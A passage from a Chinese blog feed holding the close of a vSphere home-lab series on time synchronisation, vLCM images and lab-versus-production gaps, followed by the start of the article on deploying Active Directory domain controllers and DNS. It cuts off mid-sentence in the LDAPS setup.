里专门有一项 <code>Time is synchronized across hosts and VC</code>，时间一对不上它就报红。</p><p>所以把时间搞稳，不是锦上添花，而是前面所有东西能稳定运行的前提。这也是为什么我们在身份篇里立 dc01 时，就已经抢先把它的时间钉准了（提升域控、装 CA 之前那一步）——那是为了不让证书踩雷。这一篇把当时只做了一半的事补全：当时只配了 dc01 这个 PDC 对外同步，剩下「其余成员、以及 ESXi 和 vCenter 怎么并进这套时间层级」，留到现在。</p><h2 id="2-Windows-域的时间层级：PDC-对外，成员跟域">2 Windows 域的时间层级：PDC 对外，成员跟域</h2><p>先把 Windows 域里的时间规则讲清楚，否则很容易配错。AD 域的时间是一套严格的层级：</p><ul><li>域里<strong>持有 PDC 模拟器（PDC Emulator）FSMO 角色的那台域控</strong>，是全域的时间权威。在我们这套单域单林里，这台就是 <code>yx-dc01</code>。</li><li>其余所有成员——<code>yx-dc02</code>、将来任何加域的服务器——默认都跟着「域层级」要时间，一级一级最终跟到 PDC。这个模式在 <code>w32tm</code> 里叫 <code>NT5DS</code>。</li><li>而 PDC 自己头上没有域层级了（它就是顶点），所以<strong>它必须被显式指向一个外部时间源</strong>，否则它会找不到上游、回落到本机 CMOS 时钟自己走。</li></ul><p>这一段我们在身份篇已经修好了，这里把命令复述一遍作为时间层级的起点（在 dc01 上，管理员 CMD）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">w32tm /config /manualpeerlist:&quot;10.0.40.1,0x8&quot; /syncfromflags:manual /reliable:yes /update</span><br><span class="line">net stop w32time &amp;&amp; net start w32time</span><br><span class="line">w32tm /resync /rediscover</span><br><span class="line">w32tm /query /status</span><br></pre></td></tr></table></figure><p><code>/manualpeerlist</code> 把 PDC 指向外部源、<code>/reliable:yes</code> 把它标成全域可靠时间源。外部源填 <code>10.0.40.1</code>（OPNsense 在 SERVER 网段的接口，它本身经 WAN 跟公网 NTP 同步），<strong>不填管理网的 <code>10.0.10.1</code></strong>——理由和 DNS 转发器、LDAPS 一样：网络篇的管理网隔离会把 SERVER 网段主动去管理网的流量挡掉。配完 <code>Source</code> 应从 <code>Local CMOS Clock</code> 变成 <code>10.0.40.1</code>、<code>Stratum</code> 降到个位数（经 OPNsense 一般是 3~4）。</p><p>若 <code>w32tm /resync</code> 仍失败，先回 OPNsense 检查 <code>Services → Network Time → General</code>，确认 NTP 服务监听了 <code>SERVER</code> 接口（或监听 <code>All</code>）；同时确认 SERVER 接口规则允许本段访问防火墙自身的 UDP 123。这和身份篇里把 DNS forwarder 改成 <code>10.0.40.1</code> 是一个道理——指对了接口，还得那个接口上的服务真在听、规则真放行。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-08-ntp-wrapup/20260626195153405.png" alt=""></p><div class="note info flat"><p><strong>别去「设置」里的时间同步改 PDC，那里改不了。</strong> Windows「设置 → 时间和语言」里的「自动设置时间」「立即同步」，只是 w32time 的浅层封装：能让服务按现有配置同步一次，但改不了同步源、更设不了 <code>/reliable</code>、<code>/syncfromflags</code> 这些 PDC 专用参数。而且机器加域后，传统 <code>timedate.cpl</code> 里的「Internet 时间」页通常直接灰显。判断时间对没对，始终以 <code>w32tm /query /status</code> 为准，别信 GUI 那个按钮的脸色。</p></div><div class="note warning flat"><p><strong>把域控 VM 的「宿主时间同步」关掉，避免和 w32time 打架。</strong> dc01/dc02 是嵌套 ESXi 上的 VM，VMware Tools 可能在某些 VM 操作时把 guest 时间与 ESXi host 对齐，例如恢复快照、挂起恢复、vMotion 之后等。域控上应避免让宿主侧时间同步和 Windows Time Service 同时拉扯：常规的周期性时间同步要关掉，域控时间一律以 w32time 的域层级为准。要留意的是，<strong>即便关了周期性同步，部分 VM 操作仍可能触发一次性校时</strong>——所以域控别频繁回退快照，尤其别在 AD 已经跑起来之后随意单台回滚快照（容易把时间和 AD 状态一起拽乱）。</p></div><div class="note primary flat"><p><strong>生产环境对照。</strong> 我们这里 PDC 的外部源就一个 <code>10.0.40.1</code>（OPNsense），OPNsense 再往公网池要时间，是条又长又单薄的实验室链路。生产里 PDC 通常配多个外部 NTP 源（互相校验、防单点和坏源），讲究的环境还会上真正的 stratum-1 设备（GPS / 原子钟授时）作为内网时间根，而不是把全域时间挂在一台边界防火墙的转发上。</p></div><h2 id="3-把-ESXi-和-vCenter-的时间也并入">3 把 ESXi 和 vCenter 的时间也并入</h2><p>域内时间理顺了，但 ESXi 主机和 VCSA 都不是域成员，它们走的是各自的 NTP 配置。前面几篇里，它们的 NTP 源指的是 OPNsense <code>10.0.10.1</code>。这一篇把它们一并切到 AD 域控上，让 AD 成为内网统一的时间权威。</p><p><strong>三台 ESXi 主机</strong>：在 vSphere Client 里，每台 <strong>Host → Configure → System → Time Configuration → Edit</strong>（Network Time Protocol），NTP 服务器填 <code>10.0.40.10,10.0.40.11</code>，NTP Service Startup Policy 选 <strong>Start and stop with host</strong>，启动服务。三台都做。</p><p><strong>VCSA（<code>yx-vc01</code>）</strong>：在 VAMI（<code>https://10.0.10.20:5480</code>）→ <strong>Time → Time synchronization</strong>，模式选 <strong>NTP</strong>，服务器填 <code>10.0.40.10,10.0.40.11</code>。注意 VCSA 的时间要么走 NTP、要么走 Host（从 ESXi 同步），<strong>二选一别同时开</strong>；这里选 NTP 直连域控，逻辑最清楚。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-08-ntp-wrapup/20260626195500920.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-08-ntp-wrapup/20260626195701786.png" alt=""></p><div class="note warning flat"><p><strong>又是那条「反方向」的跨网段口子，别漏。</strong> ESXi 和 VCSA 在管理网（VLAN10），域控在 SERVER 网（VLAN40）。它们去域控同步时间，走的是 <strong>MGMT → SERVER 的 UDP 123</strong>——这是管理网主动访问 SERVER 网段，方向和网络篇做的「下游不准访问管理网」隔离相反，和身份篇里 DNS 的 53、LDAPS 的 636 是同一类容易漏的反向开口。需要在 OPNsense 上确认放行 <code>MGMT_NET → DC UDP 123</code>。</p></div><p>切完之后，ESXi/VCSA 不再向 <code>10.0.10.1</code> 要时间了，于是可以<strong>收回网络篇当初为它们在管理隔离里开的那条 123 放行</strong>（呼应网络篇的口子）。但收的时候看清楚：要收的是「管理网设备 → OPNsense <code>10.0.10.1</code> 的 123」这条；<strong>别误删 PDC 经 <code>10.0.40.1</code> 出去的那条</strong>——dc01 还靠它对外同步，删了 PDC 就又回落 CMOS 了。</p><div class="note primary flat"><p><strong>生产环境对照，以及一个嵌套实验室特有的取舍。</strong> 把 ESXi/VCSA 的时间指向 AD 域控，是「AD 作为内网唯一时间权威」的标准企业形态，所以我们默认这么做。但在我们这套<strong>全嵌套</strong>实验室里，它有个隐含的软循环依赖：两台 DC 是跑在这三台 ESXi 上的 VM，而 ESXi 又把时间源指向这些 DC-VM。整套冷启动时，ESXi 先用本机时钟跑、等 DC VM 起来后再收敛，不致命，但确实是个环。</p><p>生产里这个环不存在，因为域控跑在独立的管理基础设施上（见身份篇那条「DC 别和工作负载挤一个集群」）。如果你想在实验室里也彻底避开这个环，有个更稳的变体：让 ESXi/VCSA 继续指向 OPNsense <code>10.0.40.1</code>（它是 L0 上的独立 VM、不在嵌套集群里，无循环），只让 Windows 域跟 PDC——这样所有时钟最终都锚定到 OPNsense → 公网池这一个外部源。选这个变体的话，上面那条 OPNsense 123 规则就别收回、保留即可。</p></div><h2 id="4-验证时间已对齐">4 验证时间已对齐</h2><p>把时间这块该绿的都绿一遍：</p><ul><li><strong>域内</strong>：dc01 上 <code>w32tm /query /status</code> 的 <code>Source</code> 是 <code>10.0.40.1</code>、<code>Stratum</code> 个位数；dc02 及任何成员上 <code>Source</code> 指向 dc01（域层级）。在任一 DC 上 <code>w32tm /monitor</code> 能看到全域各 DC 的 offset 都很小。</li><li><strong>ESXi</strong>：每台 Time Configuration 显示 NTP 服务 running、时间一致；命令行可 <code>esxcli system ntp test</code>（或看 <code>esxcli system time get</code>）确认在跟 DC 走。</li><li><strong>VCSA</strong>：VAMI Time 显示已同步。</li><li><strong>Skyline</strong>：vCenter 的 Skyline Health 里 <code>Time is synchronized across hosts and VC</code> 一项转绿——这是时间真正对齐的权威信号。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-08-ntp-wrapup/20260626200037979.png" alt=""></p><div class="note success flat"><p><strong>时间这块地基夯实了。</strong> 从 PDC 对外、域成员跟域、到 ESXi/VCSA 并入同一权威，全平台的时钟现在有了统一的来源。回头看身份篇那颗证书的雷——只要先把这一步做在前面，那颗雷根本不会埋下。这也正是为什么我们在立 dc01 时就抢先钉了时间：时间是地基，得先浇。</p></div><h2 id="5-补讲-vLCM-镜像：一直推迟到收尾的那块">5 补讲 vLCM 镜像：一直推迟到收尾的那块</h2><p>前面 vCenter 篇、存储篇都把 vLCM（vSphere Lifecycle Manager）推到了收尾才讲，现在补上。它管的是「怎么把整个集群的 ESXi 软件栈保持一致、并统一升级」。</p><p><strong>两种模式，以及为什么只剩一条路。</strong> vLCM 有两种管理方式：老的 <strong>baselines</strong>（基线，前身是 vSphere Update Manager / VUM，逐台打补丁的命令式做法）和新的 <strong>Images</strong>（镜像，声明式地定义「这个集群所有主机都应该长成这个样子」）。版本现实很清楚：vSphere 8.0 起 baseline 已被弃用、新建集群默认就是镜像模式；到 vSphere 9.0，用 baseline 升级集群/主机被弃用，仍在用 baseline 的集群<strong>必须先转成镜像</strong>才能升级到 9.x。所以镜像是前进的唯一方向，baseline 只是过渡期的遗留。</p><p><strong>一张镜像由什么组成。</strong> base image（ESXi 版本本身，唯一必填项）+ vendor add-on（OEM 厂商的驱动/补丁集合）+ firmware-and-drivers add-on（固件与驱动，<strong>需要硬件厂商的 hardware support manager 插件</strong>）+ 若干 components（第三方驱动/组件）。镜像把这一整套钉成一个「期望状态」，集群里每台主机都按它对齐。</p><p><strong>操作（Cluster → Updates → Image）。</strong> 进集群的 Updates → Image：如果它提示你 Setup Image，说明这个集群当前还是 baseline 管理的。8.0U3 起转镜像很省事——不用自己导 ISO 或拼镜像，可以直接采纳「集群里某台主机上已经装着的镜像」（Get Installed Images），Finish Image Setup，跑一次合规检查，再 Remediate。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-08-ntp-wrapup/20260626201110309.png" alt=""></p><p><strong>滚动修复（rolling remediation）。</strong> 修复时主机<strong>一台一台来</strong>：当前主机进维护模式，DRS/vMotion 把上面的 VM 疏散到别的主机（靠我们 HA 篇启用的 Fully Automated DRS 自动完成），打补丁/升级、按需重启，再轮到下一台——全程集群对外不停服。Quick Boot 能跳过固件自检加速重启；8.0U3 的 LivePatch 还能让部分修复免重启免疏散。注意 vLCM 的合规校验和修复<strong>依赖 DNS 解析和网络连通</strong>——这正好是我们身份篇刚理顺的东西，算是前面几篇给这一步铺好了路。</p><p>不过在本实验这套 64 GB 宿主、30/12/12 GB 的紧配置下，别把「滚动修复不停服」理解成必然能实操成功——这和 HA 篇里「VCSA 自我保护在本实验只是概念」是同一类资源现实。<code>yx-esxi01</code> 给了 30 GB（含 VCSA + vSAN），esxi02/03 各 12 GB，而 VCSA Tiny 要 14 GB：一旦 vLCM 要修复的恰好是承载 VCSA 的那台主机，其它两台未必接得住 14 GB 的 VCSA，DRS/vMotion 疏散就会失败，remediation 也无法无中断完成。所以本篇主要演示 vLCM Image 的<strong>概念、合规检查与流程</strong>；真要执行 remediation，先确认 VCSA 和其它 VM 都能被迁走（或临时把目标主机内存调高、把非必要 VM 关掉腾位）。</p><div class="note warning flat"><p><strong>baseline → 镜像是单向门，转之前想清楚。</strong> 一旦把某个集群从 baseline 切到镜像，就不能再切回 baseline 了（只能把主机移出到另一个 baseline 集群）。这和评估版 DC 不能转正式版是一个性质的单向操作——不是坏事（镜像本来就是该去的方向），但要知道这扇门没有回头路。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-08-ntp-wrapup/20260626200845666.png" alt=""></p><div class="note danger flat"><p><strong>固件那半，嵌套环境演不出，诚实标注。</strong> 镜像里的 firmware-and-drivers add-on 要靠 hardware support manager 插件去对接真实服务器的带外管理（iDRAC / iLO / BMC）才能更新固件。我们这套是<strong>嵌套 ESXi</strong>，底下没有真实固件层、也没有 HSM 可装，所以「用 vLCM 统一纳管固件」这半<strong>在本实验室不可复现</strong>。</p></div><div class="note primary flat"><p><strong>生产环境对照。</strong> 生产会把 vendor depot + HSM 接进来，让固件和 ESXi、驱动一起进入同一份声明式镜像，一次修复把「软件 + 固件」全对齐到期望状态；多集群则用统一镜像保证跨集群的主机同构。另外 vSphere 9 文档里 ESXi 已改称 ESX，升级到 9.x 前必须先把 baseline 集群转成镜像——这条和身份篇说的「升 9.0 前必须先退出 IWA 域」一样，都是规划升级时要提前扫掉的前置障碍。</p></div><h2 id="6-全系列收尾：砚行物流这套平台回头看">6 全系列收尾：砚行物流这套平台回头看</h2><p>到这里，砚行物流的虚拟化平台从无到有走完了一整条路：从序章的物理与网段规划，到用 OPNsense 把边界和各 VLAN 立起来（环境篇），装三台嵌套 ESXi（ESXi 篇），部署 vCenter 建集群（vCenter 篇），用 vDS 把网络收口（网络篇），用 vSAN 把三台的本地盘聚成共享存储（存储篇），开 HA/DRS 让它能自愈和均衡（HA 篇），立 AD 域控把身份和 DNS 统一（身份篇），最后把时间层级理顺（本篇）。计算、网络、存储、高可用、身份、时间——一套企业虚拟化平台该有的地基，齐了。</p><p>这套平台的价值在于「能完整复现一遍企业级架构的搭建逻辑」，但它终究是跑在一台 64 GB 笔记本上的全嵌套实验室。哪些地方是为了能在单机上跑而做的妥协、真要上生产该补什么，这份清单值得收拢成一处——它也是贯穿全系列那些「生产环境对照」框的总账：</p><div class="note primary flat"><p><strong>「实验 vs 生产」总差距清单。</strong></p><ul><li><strong>物理冗余</strong>：单宿主、全嵌套，没有任何物理层冗余；宿主一断电全平台没。生产要多物理主机、多机架乃至多站点。</li><li><strong>内存</strong>：30/12/12 GB 贴边硬撑，靠错峰开机、关测试机腾挪。生产按工作负载留足余量 + N+1。</li><li><strong>网络冗余</strong>：每台 ESXi 单上行 vmnic，用 <code>das.ignoreRedundantNetWarning=true</code> 压掉告警。生产要双网卡、双上行、双交换机。</li><li><strong>管理与工作负载未分离</strong>：DC 和工作负载挤在同一个 <code>YX-Cluster01</code>（鸡生蛋耦合）；两台 DC 还可能落在同一宿主（逻辑冗余非物理容错）。生产分离管理集群、用反亲和把 DC 拆到不同故障域。</li><li><strong>管理入口</strong>：全程用宿主机（那台 Windows 笔记本）裸连去管 ESXi/vCenter/域控，等于拿一台&quot;什么都干&quot;的机器当土跳板——身份篇补的 <code>yx-jump01</code> 是个加域的跳板示例，但仍是按需开关的简化。生产里管理入口是一台专职堡垒机（bastion）：唯一入口、强认证 MFA、会话录像与命令审计，内部资产只接受来自它的连接——这在等保/ISO 27001/PCI-DSS 里常是强制项，云上也原样保留（Azure Bastion、AWS Session Manager 等）。</li><li><strong>PKI / 身份</strong>：LDAPS 证书来自域控上顺手装的企业根 CA（非独立离线 PKI）；身份用 AD over LDAPS（生产可上联合身份 + MFA + 条件访问）。</li><li><strong>固件层缺失</strong>：嵌套没有真实固件，vLCM 的 HSM/固件纳管演不出；vSAN 虽是 OSA 全闪，但底层不是 HCL 认证硬件。</li><li><strong>vCenter / 准入</strong>：单台 VCSA、无 VCHA（Active/Passive/Witness）；HA 准入控制只留 1 台容量（生产按 N+1 留）。</li><li><strong>时间链路</strong>：PDC → OPNsense → 公网池这条单薄链（生产用多源、独立授时基础设施）。</li></ul><p>真要把这套搬向生产，要补的就是这份清单的反面：物理与网络冗余、管理与工作负载分离、专职堡垒机作为唯一管理入口、独立 PKI、VCHA、固件纳管、完整的监控告警与备份体系。</p></div><p>把这些差距列清楚，不是给实验室泼冷水，而是让它的价值落到实处：你在这台笔记本上踩过的每一个坑——证书的时间雷、跨网段那些反方向的防火墙口子、PDC 回落 CMOS、嵌套的循环依赖——到了真实生产里都还会以更高的代价重现，而你已经知道它们长什么样、根在哪里。这套平台真正留下的，不是那几台虚拟机，是这份「知道会在哪卡住」的经验。</p><p>砚行物流的平台到此就算立住了。从一张网段规划图开始，到现在计算、网络、存储、高可用、身份、时间一层层叠完——这趟从零到一的搭建，就到这里。</p><div class="note success flat"><p><strong>全系列完结。</strong> 感谢一路看到这里。</p></div><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/"/>
    <published>2026-06-26T07:46:00.000Z</published>
    <summary>梳理以 AD 域控为核心的分层时间同步（w32time），复盘 AD CS 证书 NotBefore 落到未来导致 vCenter LDAPS 报错的时钟事故，补讲 vLCM 镜像管理，并以「实验 vs 生产」总差距清单收束全系列。</summary>
    <title>从零搭建企业虚拟化平台8——收尾：时间同步、vLCM 镜像与全系列回顾</title>
    <updated>2026-06-26T07:46:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="Active Directory" scheme="https://www.catwhiteangel.com/tags/Active-Directory/"/>
    <category term="DNS" scheme="https://www.catwhiteangel.com/tags/DNS/"/>
    <category term="Windows Server" scheme="https://www.catwhiteangel.com/tags/Windows-Server/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台7——身份：Active Directory 域控与 DNS 整合</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><strong>平台7 · 身份：AD 域控与 DNS　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>到这一篇为止，砚行物流的平台已经把计算、网络、存储、高可用都铺好了，但有一件事一直没动：到现在为止，能登进 vCenter 的只有一个账号——<code>administrator@vsphere.local</code>。这是 SSO 内置域里的本地账号，既不是「公司账号」，也没法和文件服务器、其他系统共用同一套身份。这一篇就把这块补上：在 <code>YX-Server</code>（VLAN40）立起一对冗余域控，建域 <code>corp.yanxing.internal</code>，把内网的权威 DNS 交给 Active Directory，再把 vCenter 以外部身份源的方式接进来。立完之后，<code>YX-Server</code> 端口组也终于迎来它第一批正式住户。</p><span id="more"></span><h2 id="1-为什么先立域：从-administrator-vsphere-local-说起">1 为什么先立域：从 administrator@vsphere.local 说起</h2><p><code>administrator@vsphere.local</code> 能用，但它是个「孤岛账号」。它只活在 vCenter 自带的 SSO 域里，离开 vCenter 谁都不认；想给同事分权，要么共享这一个超级账号（审计噩梦），要么在 SSO 本地域里一个个手建用户。真实企业不会这么干——身份要有一个统一的、可审计的、能跨系统复用的来源，这个来源在 Windows 生态里几乎默认就是 Active Directory（活动目录，AD）。</p><p>把 AD 立起来之后，vCenter 不再自己管人，而是把「这个人是谁、密码对不对、属于哪个组」这件事外包给 AD；vCenter 只负责「这个组能在 vSphere 里做什么」。账号的增删改、离职禁用、组成员调整，全在 AD 那一侧完成，vCenter 这边的权限规则基本不用动。这就是「身份源（identity source）」的价值。</p><p>这里有一个必须先讲清楚的版本现实，它直接决定了我们这一篇的接入方式怎么选。历史上 vCenter 接 AD 有两条路：一条是把 vCenter 这台 VCSA 真正加入 AD 域（Integrated Windows Authentication，IWA，域加入法），另一条是不加域、只把 AD 当成一个外部 LDAP 目录来查询（AD over LDAP）。</p><div class="note info flat"><p><strong>IWA 已经是「将死」的路，别再往上走。</strong> Broadcom 已宣布 IWA（域加入法）弃用，并在 vSphere 8.0U3 之后的首个大版本——也就是 vSphere 9.0——正式移除：届时 vCenter 不再支持以 IWA 加入 AD 域。8.0/8.1 里 IWA 选项还在，纯粹是向后兼容。官方现在的推荐是 <strong>AD over LDAP，且强烈建议走 LDAPS（带 SSL 的 LDAP）</strong>。所以本篇从一开始就按 AD over LDAPS 写，不演示域加入。</p></div><p>这一篇的落地顺序是：先立第一台域控 <code>yx-dc01</code> 并建出新林新域，把 AD 集成 DNS 顺势起来；再做 DNS 整合（这是和现状衔接最关键的一步）；然后加第二台域控 <code>yx-dc02</code> 做冗余；最后把 vCenter 以 AD over LDAPS 身份源接进来，用域账号验证登录。</p><div class="note warning flat"><p><strong>先看内存预算，再动手。</strong> 宿主是 64 GB，现在的占用是 esxi01=30 GB（含 VCSA + vSAN）、esxi02/03 各 12 GB，再加 OPNsense 和宿主本身，已经贴边。这一篇要在集群里新增两台域控（默认每台 4 GB），等于再吃约 8 GB。动手前建议：把 HA 篇建的测试机 <code>yx-test01</code> 关掉腾内存。</p></div><h2 id="2-部署第一台域控-yx-dc01">2 部署第一台域控 yx-dc01</h2><h3 id="2-1-选-ISO-与建虚拟机">2.1 选 ISO 与建虚拟机</h3><p>操作系统用 <strong>Windows Server 2025 Standard 评估版（Desktop Experience，带图形界面）</strong>。评估版从 Microsoft Evaluation Center 下载，评估期 180 天，且可以 rearm（重置评估计时）最多 6 次、累计接近 3 年，对实验室完全够用；带 Desktop Experience 是为了有完整 GUI，方便截图和用 Server Manager 点配置。下回来的 ISO 可以上传到 vSphere Content Library；如果前面几篇没有单独建过 Content Library，也可以直接把它放进 <code>vsanDatastore</code> 下的一个 ISO 目录，或在新建 VM 时从本地客户端临时挂载 ISO。下面的截图按 Content Library 路线演示，但它不是本篇的硬性前提，三条路任选其一即可。</p><div class="note warning flat"><p><strong>评估版有个一旦踩到就回不了头的坑：已经提升为域控的评估版服务器，不能再转换成正式版（Retail）。</strong> 也就是说，如果你打算以后给这台机器上正式 license，得在「提升为域控之前」就用产品密钥把版本转好（<code>DISM /online /Set-Edition:ServerStandard /ProductKey:xxxx</code>）。实验室里我们就吃 180 天评估 + rearm，不转正式版，所以不受影响——但要知道这条单向门在哪（真要上正式版，只能另建一台正式版 DC、把 FSMO 角色迁过去、再退掉这台评估版 DC）。另外评估版按微软规则需要在装好后较短时间内联网激活一次以免自动关机，隔离实验室记得放它出网一次或安排好 rearm。</p></div><p>VM 规格：2 vCPU、4 GB 内存、60 GB 精简置备磁盘、固件选 <strong>UEFI</strong>（和我们其他较新的 VM 一致；嵌套环境里 Secure Boot 可开可不开）。网络挂到 vDS 的 <strong><code>YX-Server</code></strong>(VLAN40) 端口组——这是 VLAN40 的第一台正式住户。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260625234300771.png" alt=""></p><div class="note primary flat"><p><strong>生产环境对照。</strong> 真实生产里，域控几乎不会和它要去认证的工作负载挤在同一个集群里——那会形成「鸡生蛋」的依赖：集群要靠 AD 认证管理员，AD 又跑在这个集群上。生产通常把域控放在独立的管理基础设施（专门的管理集群、甚至独立物理机/不同站点）上，和工作负载集群在故障域上分开。我们这套全嵌套实验室是把两台 DC 直接当作 <code>YX-Cluster01</code> 里的 VM 来跑，属于实验室的刻意妥协，方便也省机器，但要清楚这在生产里是要避免的耦合。</p></div><h3 id="2-2-装系统、配静态网络">2.2 装系统、配静态网络</h3><p>装完系统、设好本地 Administrator 密码后，先把这台机器从随机机器名改成有意义的名字 <code>yx-dc01</code>（提升域控前改名最省事，提升之后再改名会牵动一堆注册记录），然后配静态网络：</p><ul><li>IP：<code>10.0.40.10</code>，掩码 <code>/24</code>，网关 <code>10.0.40.1</code>（VLAN40 是路由段，网关在 OPNsense 上）</li><li>首选 DNS：<strong>先指向自己</strong>，即 <code>127.0.0.1</code>（提升为域控、AD 集成 DNS 起来之前，它先用本机回环占位；提升之后我们再来调整 DNS 指向）</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626001046195.png" alt=""></p><p>网络配好后、<strong>提升域控和装 CA 之前，先把这台机器的时间对齐</strong>——这是个必须排在前面的步骤，不是可选项（原因见 2.4：CA 会把签发时的时钟写进证书，时间不对会埋下延迟爆雷）。这台将来要当 PDC 模拟器、是全域的时间权威，所以让它直接跟外部 NTP 同步。管理员 CMD：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">w32tm /config /manualpeerlist:&quot;10.0.40.1,0x8&quot; /syncfromflags:manual /reliable:yes /update</span><br><span class="line">net stop w32time &amp;&amp; net start w32time</span><br><span class="line">w32tm /resync /rediscover</span><br><span class="line">w32tm /query /status</span><br></pre></td></tr></table></figure><p>NTP 源填 <code>10.0.40.1</code>（OPNsense 在 SERVER 网段的接口，本身跑着 NTP），别填管理网的 <code>10.0.10.1</code>——理由和前面 DNS 转发器一样，管理网隔离会把 SERVER 网段过去的流量挡掉。<code>/query /status</code> 里 <code>Source</code> 应从 <code>Local CMOS Clock</code> 变成你填的源、<code>Stratum</code> 降到个位数，才算对齐。时间层级的完整收尾（PDC 对外、其余成员跟域层级）留到平台8 讲，这里先把 dc01 的时间钉准，给后面装 CA 铺路。</p><h3 id="2-3-装-AD-DS-角色、提升为新林新域">2.3 装 AD DS 角色、提升为新林新域</h3><p>打开 <strong>Server Manager → Add roles and features</strong>，在 Server Roles 一步勾上 <strong>Active Directory Domain Services</strong>（会弹「Add features required」一并装上）。这一步我们暂时不用单独去勾 DNS Server 角色——升级为新林新域时，向导会自动把 AD 集成 DNS 一起装起来。装完角色后，Server Manager 右上角的旗标里会出现一条「Promote this server to a domain controller」，点它进提升向导。</p><p>提升向导的关键选项：</p><ul><li><strong>Deployment Configuration</strong>：选 <strong>Add a new forest（添加新林）</strong>，Root domain name 填 <code>corp.yanxing.internal</code>。</li><li><strong>Domain Controller Options</strong>：Forest / Domain functional level 都选 <strong>Windows Server 2025</strong>（全新林、没有旧 DC 要兼容，直接拉到最高）；勾选 DNS server（默认就勾着）；设 <strong>DSRM</strong>（目录服务还原模式）密码并记牢——这是日后 AD 出问题时进还原模式用的，和域管理员密码是两回事。</li><li><strong>Additional Options</strong>：确认 <strong>NetBIOS 域名</strong> 是 <strong><code>YANXING</code></strong>（向导一般会从 <code>corp</code> 自动取，注意核对成我们锁定的 <code>YANXING</code>，别让它默认成 <code>CORP</code>）。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626002104235.png" alt=""></p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626002210981.png" alt=""></p><div class="note info flat"><p><strong>为什么域名用 <code>corp.yanxing.internal</code> 这种「带子域 + 不可路由后缀」的写法。</strong> 一是 SSO 本地域是 <code>vsphere.local</code>，AD 域名必须和它不同，否则后面 vCenter 接入会冲突报错；二是用 <code>.internal</code> 这种保留后缀（而不是真实拥有的 <code>yanxing.com</code>）能避免和公网同名域撞车，是内网域命名的常见稳妥做法；三是带一层 <code>corp.</code> 子域，给未来可能的多域/子域结构留出空间。这套命名我们在系列最开始就锁死了，这里只是兑现它。</p></div><p>点 Install，向导跑完会自动重启。重启后登录界面会变成显示域名 <code>YANXING\Administrator</code>，说明这台已经是域控了。AD 集成 DNS 也随之起来：打开 <strong>DNS Manager</strong>，你会看到正向查找区域里多了 <code>corp.yanxing.internal</code>，里面已经自动注册了一堆以下划线开头的 SRV 记录（<code>_ldap</code>、<code>_kerberos</code> 等），这些是域成员用来定位域控的「路标」。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-07-ad-dns/20260626003214489.png" alt=""></p><div class="note success flat"><p><strong>这是正常现象，不是装错了。</strong> 第一次开 DNS Manager 看到 <code>corp.yanxing.internal</code> 区域里塞满 <code>_msdcs</code>、<code>_sites</code>、<code>_tcp</code>、<code>_udp</code> 这些下划线节点和一堆 SRV/A 记录，是 AD 提升时自动注册的服务定位记录，AD 全靠它们工作，别手痒去删。能在区域里看到 <code>yx-dc01</code> 的 A 记录、并且 <code>nslookup yx-dc01.corp.yanxing.internal</code> 能解析出 <code>10.0.40.10</code>，这一步就成了。</p></div><h3 id="2-4-启用-LDAPS（在-dc01-上装-AD-CS-企业根-CA）">2.4 启用 LDAPS（在 dc01 上装 AD CS 企业根 CA）</h3><div class="note danger flat"><p><strong>装 CA 之前必须先确认 dc01 的时间已同步正确，否则会埋一颗延迟到第 5 节才炸的雷。</strong> CA 签证书时会把当时的系统时钟写进证书的 <code>NotBefore</code>（生效起始时间）。若此刻 dc01 还吊在偏快的 CMOS 时钟上（NTP 没同步好时的典型状态），签出的证书 <code>NotBefore</code> 会落到未来；等时间校正回来，vCenter 接 LDAPS 时就会报「Certificate is not valid: NotBefore …」。正确顺序是先把时间搞稳再装 CA：先在 dc01 上 <code>w32tm /query /status</code> 确认 